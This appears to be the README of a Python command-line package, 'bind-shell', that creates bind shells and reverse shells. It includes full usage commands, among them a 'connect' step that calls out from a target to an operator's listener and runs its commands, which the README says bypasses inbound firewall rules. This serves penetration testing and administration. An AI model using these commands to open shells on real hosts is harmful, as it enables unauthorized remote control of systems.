bind-shell 0.1.4

A Typer CLI for creating and connecting to bind shells and reverse shells. Built on Python's stdlib socket — no external dependencies.

bind-shell

A Typer CLI for creating and connecting to bind shells and reverse shells. Built on Python's stdlib socket — no external dependencies.

Install

Use pipx to install globally in an isolated python environment.

pipx install bind-shell

Usage

 Usage: bind-shell [OPTIONS] COMMAND [ARGS]...

╭─ Options ───────────────────────────────────────────────────────────────────────────────────╮
│ --install-completion          Install completion for the current shell.                     │
│ --show-completion             Show completion for the current shell, to copy it or          │
│                               customize the installation.                                   │
│ --help                        Show this message and exit.                                   │
╰─────────────────────────────────────────────────────────────────────────────────────────────╯
╭─ Commands ──────────────────────────────────────────────────────────────────────────────────╮
│ server    Bind shell: bind a port and execute commands from an incoming client               │
│ client    Bind shell: connect to a server and send commands interactively                   │
│ listen    Reverse shell: bind a port and send commands to an incoming connector              │
│ connect   Reverse shell: connect out to a listener and execute its commands                 │
╰─────────────────────────────────────────────────────────────────────────────────────────────╯

Bind shell

In a bind shell the target runs server — it binds a port and waits. The operator runs client to connect in and issue commands.

On the target:

$ bind-shell server
Bind-Shell Connection: bind-shell client 12.34.77.19 --port 4444 --password ZngSIZMqels2THrqblTDgg

On the operator:

$ bind-shell client 12.34.77.19 --port 4444 --password ZngSIZMqels2THrqblTDgg

Reverse shell

In a reverse shell the operator runs listen — it binds a port and waits. The target runs connect to call back out, bypassing inbound firewall rules.

On the operator:

$ bind-shell listen
Reverse-Shell Connection: bind-shell connect 12.34.77.19 --port 4444 --password ayCWsj2oRCo7ZgG-kCwLJw

On the target:

$ bind-shell connect 12.34.77.19 --port 4444 --password ayCWsj2oRCo7ZgG-kCwLJw

Options

All commands accept --port (default: 4444). server and listen also accept --host to control the bind address (default: 0.0.0.0). client and connect require --password generated by server or listen.

bind-shell server --host 0.0.0.0 --port 4444
bind-shell client <ip> --port 4444 --password some-pass
bind-shell listen --host 0.0.0.0 --port 4444
bind-shell connect <ip> --port 4444 --password some-pass

Shell selection

server and connect accept an optional --shell flag to control which shell executes commands. By default the system shell is used (/bin/sh on Linux/macOS, cmd.exe on Windows).

bind-shell server --shell /bin/bash
bind-shell connect <ip> --password some-pass --shell /bin/zsh
bind-shell connect <ip> --password some-pass --shell pwsh   # PowerShell Core

To find out which shell is active on the target, run echo $0 (Unix) or check $PSVersionTable (PowerShell).

Type exit or quit to close a session.

Dev Prerequisites

• python >=3.10
• pipx, an optional tool for prerequisite installs
• poetry (install globally with pipx install poetry)
• flake8 (install globally with pipx install flake8)
  • flake8-bugbear extension (install with pipx inject flake8 flake8-bugbear)
  • flake8-naming extension (install with pipx inject flake8 pep8-naming)
• black (install globally with pipx install black)
• pre-commit (install globally with pipx install pre-commit)
• just, a Justfile command runner

Updating python version

• Update python version in Dev Prerequisites above
• Update [tool.poetry.dependencies] section of pyproject.toml
• Update pyupgrade hook in .pre-commit-config.yaml
• Update python version in .gitlab-ci.yml

Justfile Targets

• install: installs poetry dependencies and pre-commit git hooks
• update_boilerplate: fetches and applies updates from the boilerplate remote
• test: runs pytest with test coverage report

Boilerplate

This project tracks the pyplate boilerplate via the boilerplate git remote. Run just update_boilerplate to pull latest changes. NOTE: keep the boilerplate remote history intact to successfully merge future updates.